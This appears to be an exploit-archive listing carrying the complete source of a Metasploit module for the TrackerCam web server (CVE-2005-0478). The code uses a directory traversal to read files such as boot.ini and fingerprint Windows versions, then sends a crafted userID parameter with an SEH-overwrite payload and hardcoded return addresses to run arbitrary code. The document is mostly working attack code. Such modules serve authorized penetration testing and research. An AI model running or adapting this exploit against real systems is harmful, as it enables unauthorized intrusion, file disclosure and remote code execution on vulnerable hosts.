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TrackerCam PHP Argument Buffer Overflow

TrackerCam PHP Argument Buffer Overflow
Posted Nov 26, 2009
Authored by H D Moore | Site metasploit.com

This Metasploit module exploits a simple stack overflow in the TrackerCam web server. All current versions of this software are vulnerable to a large number of security issues. This Metasploit module abuses the directory traversal flaw to gain information about the system and then uses the PHP overflow to execute arbitrary code.

tags | exploit, web, overflow, arbitrary, php
advisories | CVE-2005-0478
SHA-256 | ae55a6fee4cafa96c99ebd106e4931f2e8fc92f8db8a69e077e7d9353559240d

TrackerCam PHP Argument Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'TrackerCam PHP Argument Buffer Overflow',
'Description' => %q{
This module exploits a simple stack overflow in the
TrackerCam web server. All current versions of this software
are vulnerable to a large number of security issues. This
module abuses the directory traversal flaw to gain
information about the system and then uses the PHP overflow
to execute arbitrary code.

},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-0478'],
[ 'OSVDB', '13953'],
[ 'OSVDB', '13955'],
[ 'BID', '12592'],
[ 'URL', 'http://aluigi.altervista.org/adv/tcambof-adv.txt'],

],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2048,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,

},
'Platform' => 'win',
'Targets' =>
[
# EyeWD.exe has a null and we can not use a partial overwrite.
# All of the loaded application DLLs have a null in the address,
# except CPS.dll, which moves around between instances :-(

['Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
['Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
['Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll

# Windows XP SP2 and Windows 2003 are not supported yet :-/
],
'DisclosureDate' => 'Feb 18 2005',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8090)
], self.class)
end

def check
res = send_request_raw({
'uri' => '/tuner/ComGetLogFile.php3',
'query' => 'fn=../HTTPRoot/socket.php3'
}, 5)

if (res and res.body =~ /fsockopen/)
fp = fingerprint()
print_status("Detected a vulnerable TrackerCam installation on #{fp}")
return Exploit::CheckCode::Confirmed
end
return Exploit::CheckCode::Safe
end

def exploit
c = connect

buf = rand_text_english(8192)
seh = generate_seh_payload(target.ret)
buf[257, seh.length] = seh

print_status("Sending request...")
res = send_request_raw({
'uri' => '/tuner/TunerGuide.php3',
'query' => 'userID=' + buf
}, 5)

handler
end

def download(path)

res = send_request_raw({
'uri' => '/tuner/ComGetLogFile.php3',
'query' => 'fn=' + ("../" * 10) + path
}, 5)

return if !(res and res.body and res.body =~ /tuner\.css/ and res.body =~ /<pre>/)

m = res.match(/<pre>(.*)<\/pre><\/body>/smi)
return if not m
return m[1]
end

def fingerprint

res = download(rand_text_alphanumeric(12) + '.txt')
return if not res

m = res.match(/in <b>(.*)<\/b> on line/smi)
return if not m

path = m[1]

print_status("TrackerCam installation path is #{path}")

if (path !~ /^C/i)
print_status("TrackerCam is not installed on the system drive, we can't fingerprint it")
return
end

if (path !~ /Program Files/i)
print_status("TrackerCam is installed in a non-standard location")
end

boot = download('boot.ini')
return if not boot

case boot
when /Windows XP.*NoExecute/i
return "Windows XP SP2+"
when /Windows XP/
return "Windows XP SP0-SP1"
when /Windows.*2003/
return "Windows 2003"
when /Windows.*2000/
return "Windows 2000"
else
return "Unknown OS/SP"
end
end

end
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